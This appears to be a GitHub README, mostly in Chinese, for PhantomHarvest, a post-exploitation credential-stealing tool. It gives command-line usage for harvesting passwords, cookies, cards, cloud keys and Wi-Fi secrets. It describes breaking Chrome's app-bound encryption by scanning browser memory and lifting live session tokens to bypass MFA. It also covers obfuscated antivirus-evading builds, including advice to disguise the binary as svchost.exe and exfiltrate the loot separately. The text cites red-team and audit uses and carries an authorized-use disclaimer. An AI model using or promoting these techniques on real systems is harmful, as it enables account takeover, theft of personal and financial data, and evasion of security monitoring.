phantom-offensive/PhantomHarvest

GitHub: phantom-offensive/PhantomHarvest

一个用于后渗透阶段的跨平台凭证收集工具,可从多种来源自动提取密码和密钥。

Stars: 10 | Forks: 1

# PhantomHarvest ``` ╔═══════════════════════════════════════╗ ║ PhantomHarvest — Credential Reaper ║ ╚═══════════════════════════════════════╝ ``` 一个后渗透凭证收集工具。将其部署到目标上,运行后,即可获取该主机上的所有凭证——配置文件、浏览器密码、Shell 历史记录、云服务密钥、Wi-Fi 密码、Windows 凭据管理器中的凭据等等。 **单一二进制文件,无依赖,跨平台。** ## 功能 ### 文件与配置扫描 - `.env`, `wp-config.php`, `web.config`, `appsettings.json`, `config.yml` - 包含嵌入式凭据的 Git 远程 URL - Terraform 状态文件 (`.tfstate`, `.tfvars`) - Docker Compose 文件,Kubernetes 密钥 - SSH 私钥(检测是否加密) - AWS/Azure/GCP 云服务凭据文件 ### 模式匹配 - 任何配置文件中的密码、密钥、令牌、API 密钥 - AWS 访问密钥 (`AKIA...`),GitHub 令牌 (`ghp_`),GitLab 令牌 (`glpat-`) - Stripe 密钥,Slack 令牌,JWT - 数据库连接字符串 (MySQL, PostgreSQL, MongoDB, Redis) - 哈希值 (bcrypt, SHA-512, MD5crypt, NTLM) ### Shell 历史记录 - `.bash_history`, `.zsh_history`, `.mysql_history`, `.psql_history` - 从 `sshpass`, `mysql -p`, `PGPASSWORD=`, `curl -u` 中提取密码 ### 浏览器凭据 - Chrome, Edge, Brave, Firefox 已保存的密码数据库 - 浏览器加密密钥 (`Local State`) - 扫描包含嵌入式凭据的 URL 历史记录 (`user:pass@host`) - Cookie 数据库(会话劫持) - **内联解密** Chromium 的密码/cookie/信用卡/自动填充数据以及 Firefox 的 `logins.json`(无主密码)—— 使用 `make build-full`(或任何 `*-full` 目标)构建的二进制文件可使用 `-decrypt-browsers` 参数。详情请参阅下方的[内联浏览器解密](#inline-browser-decryption)。 ### 密码管理器 - KeePass 保险库 (`.kdbx`, `.kdb`) - 1Password, LastPass, Bitwarden, NordPass 本地数据 - Unix `pass` 存储 (GPG 加密) - GPG 密钥环 ### Windows 特定功能 - **Wi-Fi 密码** — 提取所有已保存的网络密码 - **Windows 凭据管理器** — 枚举存储的凭据 - **DPAPI** — 检测主密钥和受保护的凭据存储 - **RDP 文件** — 解析 `.rdp` 文件中的服务器、用户名和加密密码 - **注册表配置单元备份** — 在修复/备份目录中查找 SAM/SYSTEM/SECURITY - **Unattend.xml** — 包含 Base64 编码密码的 Windows 部署文件 - **Windows Vault** — Web 凭据存储 ### 置信度评分 每个发现都标记为**高**、**中**或**低**: - **高** — 真实凭据(已知凭据文件中的密码、API 密钥、令牌) - **中** — 可能是凭据(配置文件中的令牌、加密的密码数据库) - **低** — 可能是凭据(代码引用、变量名) ## 快速开始 ``` # Linux — scan the whole system ./phantom-harvest -path / # Windows — scan user profile .\phantom-harvest.exe -path "C:\Users\username" # Only show HIGH confidence (real credentials) ./phantom-harvest -path /home/user -high-only # JSON output ./phantom-harvest -path / -json > loot.json # Limit scan depth ./phantom-harvest -path / -depth 5 # Exclude noisy paths ./phantom-harvest -path / -exclude "TikTok,Discord,node_modules" # Quiet mode (no banner) ./phantom-harvest -path / -quiet ``` ## 构建 ``` # Build for current OS make build # Build Linux static binary make linux # Build Windows binary make windows # Build both make all ``` ### 隐蔽构建(完全混淆) 在需要规避杀毒软件(AV)检测的场景下,使用 [garble](https://github.com/burrowers/garble) 对所有 Go 符号、字符串字面量和函数名进行混淆: ``` # Install garble go install mvdan.cc/garble@latest # Build obfuscated binaries make garble-linux make garble-windows make garble-all ``` **隐蔽构建做了什么:** - 混淆所有 Go 函数名和包路径 - 在编译时加密所有字符串字面量 - 剥离调试信息和符号表 - 命令字符串 (cmdkey, netsh) 在运行时进行 XOR 加密 **额外的 OPSEC 措施:** - 在部署前重命名二进制文件(例如,`svchost.exe`, `update.bin`) - 使用 `-quiet -json` 标志避免终端输出 - 将 JSON 输出到文件并单独窃取 ## 内联浏览器解密 默认的 `make build` 生成一个小型、无依赖的二进制文件,它只负责*定位*浏览器凭据数据库。要实际提取 Chromium 系浏览器和 Firefox 的明文密码、Cookie、信用卡和自动填充数据,请使用 `decrypt` 构建标签进行构建: ``` # Build a binary with inline decryption support make build-full # current OS make linux-full # Linux amd64 make windows-full # Windows amd64 make garble-windows-full # obfuscated + decrypt # Run with the new flag ./phantom-harvest -path / -decrypt-browsers -high-only ``` **它解密什么(按操作系统区分,无需外部工具):** | 来源 | Linux | macOS | Windows | |---|---|---|---| | Chromium 已保存的密码 | 是 (libsecret + `peanuts` 备用方案) | 是 (钥匙串) | 是 (DPAPI) | | Chromium Cookie (`Cookies` 和 `Network/Cookies`) | 是 | 是 | 是 | | Chromium 信用卡 + 自动填充 (`Web Data`) | 是 | 是 | 是 | | Firefox `logins.json` (空主密码) | 是 | 是 | 是 | 解密使用 `modernc.org/sqlite`(纯 Go,无 CGO),因此生成的二进制文件仍然是单个静态可执行文件。如果无法解包 Chromium 主密钥(例如没有密钥环)或 Firefox 配置文件设置了主密码,PhantomHarvest 会发出一个 `decrypt_failed` 发现,而不是崩溃,并回退到仅发现该配置文件的输出。 默认(非 `decrypt`)构建使二进制文件保持微小,并且不附带任何加密/sqlite 依赖——当你只需要侦察并希望保持投放器 (dropper) 体积小时很有用。 ### Chrome v20 应用程序绑定加密 (Chrome 127+) Chrome 127+ 使用第二个 AES-256 密钥保护已保存的密码,其封装只能由 Chrome 的 ElevationService(以 SYSTEM 权限运行)解密。 PhantomHarvest 在没有提升权限的情况下,使用**两种自动回退方案**来破解此保护: 1. **IElevator COM** — 通过 Chrome 的提升服务调用 `DecryptData`。适用于 Chrome < 130 或以 SYSTEM 权限运行时。Chrome 130+ 添加了二进制签名验证,阻止了未签名的调用者。 2. **进程内存扫描** — 当 Chrome 正在运行时,解密后的 AES-256 密钥存在于堆内存中。PhantomHarvest 枚举 `chrome.exe` / `msedge.exe` / `brave.exe` 的堆页面,提取每个 32 字节的高熵候选,并使用 AES-GCM 针对登录数据中的已知密文进行验证(误报率 ≈ 2⁻¹²⁸)。**浏览器必须处于打开状态**才能使其工作。 ``` # Decrypt passwords while Chrome is running (v20 memory scan fires automatically) phantom-harvest.exe -decrypt-browsers -browser chrome -logins-only -high-only ``` 如果两种方法都失败(浏览器已关闭,Chrome 130+ 带有 SYSTEM 检查),工具会报告一个 `v20_locked` 发现并建议替代方案: ``` # Supply a pre-extracted key (from memory dump / pypykatz / secretsdump) phantom-harvest.exe -chrome-key <32-byte-hex> -browser chrome -logins-only # Supply a DPAPI masterkey (auto-derives Chrome key from Local State blob) phantom-harvest.exe -dpapi-masterkey <64-byte-hex> -browser chrome -logins-only ``` ### 实时浏览器内存令牌提取 当离线 Cookie 解密被阻止时(Chrome v20,Firefox 设置了主密码),**会话令牌仍然以明文形式存在于浏览器内存中**。 PhantomHarvest 可以扫描正在运行的 Chrome/Edge/Brave 进程并提取: - **JWT** 及其解码后的有效载荷摘要(签发者、主题、过期时间) - 来自缓存的 `Authorization:` 头部的 **Bearer 令牌** - **服务 API 密钥**:GitHub PAT (`ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`), OpenAI (`sk-`),Anthropic (`sk-ant-`),Slack (`xox[baprs]-`),AWS (`AKIA...`), Google (`AIza...`),Stripe (`sk_live_` / `sk_test_`) ``` # Extract tokens from live browser memory (browser must be open) phantom-harvest.exe -extract-tokens -quiet # Combine with full scan phantom-harvest.exe -decrypt-browsers -extract-tokens -o loot.json ``` 设计上绕过 MFA — 这些令牌已经过认证且有效。 作为 v20 加密破解的补充:如果应用程序绑定加密阻止了 Cookie 文件,则直接从内存中获取实时会话令牌。 ### SharpChrome 等效功能 ``` # Target specific browsers phantom-harvest.exe -decrypt-browsers -browser chrome,edge # Filter cookies by domain phantom-harvest.exe -decrypt-browsers -domain .office.com -cookies-out office_cookies.txt # Passwords only, skip cookies/history/autofill/cards phantom-harvest.exe -decrypt-browsers -logins-only -browser chrome # Export decrypted cookies in Netscape format (curl/wget compatible) phantom-harvest.exe -decrypt-browsers -browser chrome -cookies-out cookies.txt ``` ## 使用方法 ``` Usage: phantom-harvest [options] Options: -path string Root directory to scan (default "/") -depth int Maximum directory depth (default 20) -high-only Only show HIGH confidence findings -json Output as JSON -quiet No banner output -exclude string Comma-separated paths to exclude -decrypt-browsers Inline-decrypt browser passwords/cookies/cards (requires a binary built with `make build-full`) -browser string Only scan specific browser(s): chrome,edge,firefox,brave -domain string Filter cookies by domain substring (e.g. google.com) -logins-only Extract only saved passwords, skip all else -cookies-out string Export decrypted cookies in Netscape format -chrome-key string Pre-decrypted Chrome AES key as hex (remote DPAPI) -dpapi-masterkey string DPAPI masterkey as hex — auto-decrypts Chrome Local State -v20-memscan Scan chrome.exe memory for the v20 app-bound AES key -extract-tokens Extract JWTs / bearer tokens / API keys from live browser memory -o string Output file (auto-detects .json/.csv/.txt/.html) -csv string Export to CSV -txt string Export to TXT -html string Export to HTML report ``` ## 示例输出 ``` ╔═══════════════════════════════════════════════════════════╗ ║ HARVEST SUMMARY ║ ╠═══════════════════════════════════════════════════════════╣ ║ HIGH: 37 MEDIUM: 111 LOW: 45 TOTAL: 193 ║ ╠═══════════════════════════════════════════════════════════╣ ║ File Scan 178 findings ║ ║ WiFi 12 findings ║ ║ Windows 3 findings ║ ╚═══════════════════════════════════════════════════════════╝ ── WiFi (12) ── [HIGH] netsh wlan MyNetwork → MyPassword123 ── Windows (3) ── [HIGH] Windows Credential Manager TERMSRV/10.10.10.5 → User: admin ``` ## 使用场景 - **后渗透** — 部署到已沦陷的主机,收集所有信息 - **红队评估** — 快速找到用于横向移动的凭据 - **安全审计** — 扫描系统以发现凭据暴露问题 - **事件响应** — 确定攻击者可能访问了哪些内容 ## 免责声明 **仅用于授权的安全测试。** 未经系统所有者明确书面许可,请勿使用此工具。 ## 作者 **Opeyemi Kolawole** — [GitHub](https://github.com/phantom-offensive) ## 许可证 MIT
标签:EVTX分析, shell历史记录, StruQ, Wi-Fi密码, 云凭证, 代码分析, 凭证收集, 凭证管理, 加密解密, 单二进制, 密码扫描, 恶意软件, 攻击路径可视化, 敏感信息提取, 数据窃取, 日志审计, 浏览器密码提取, 网页爬虫, 配置文件分析, 黑客工具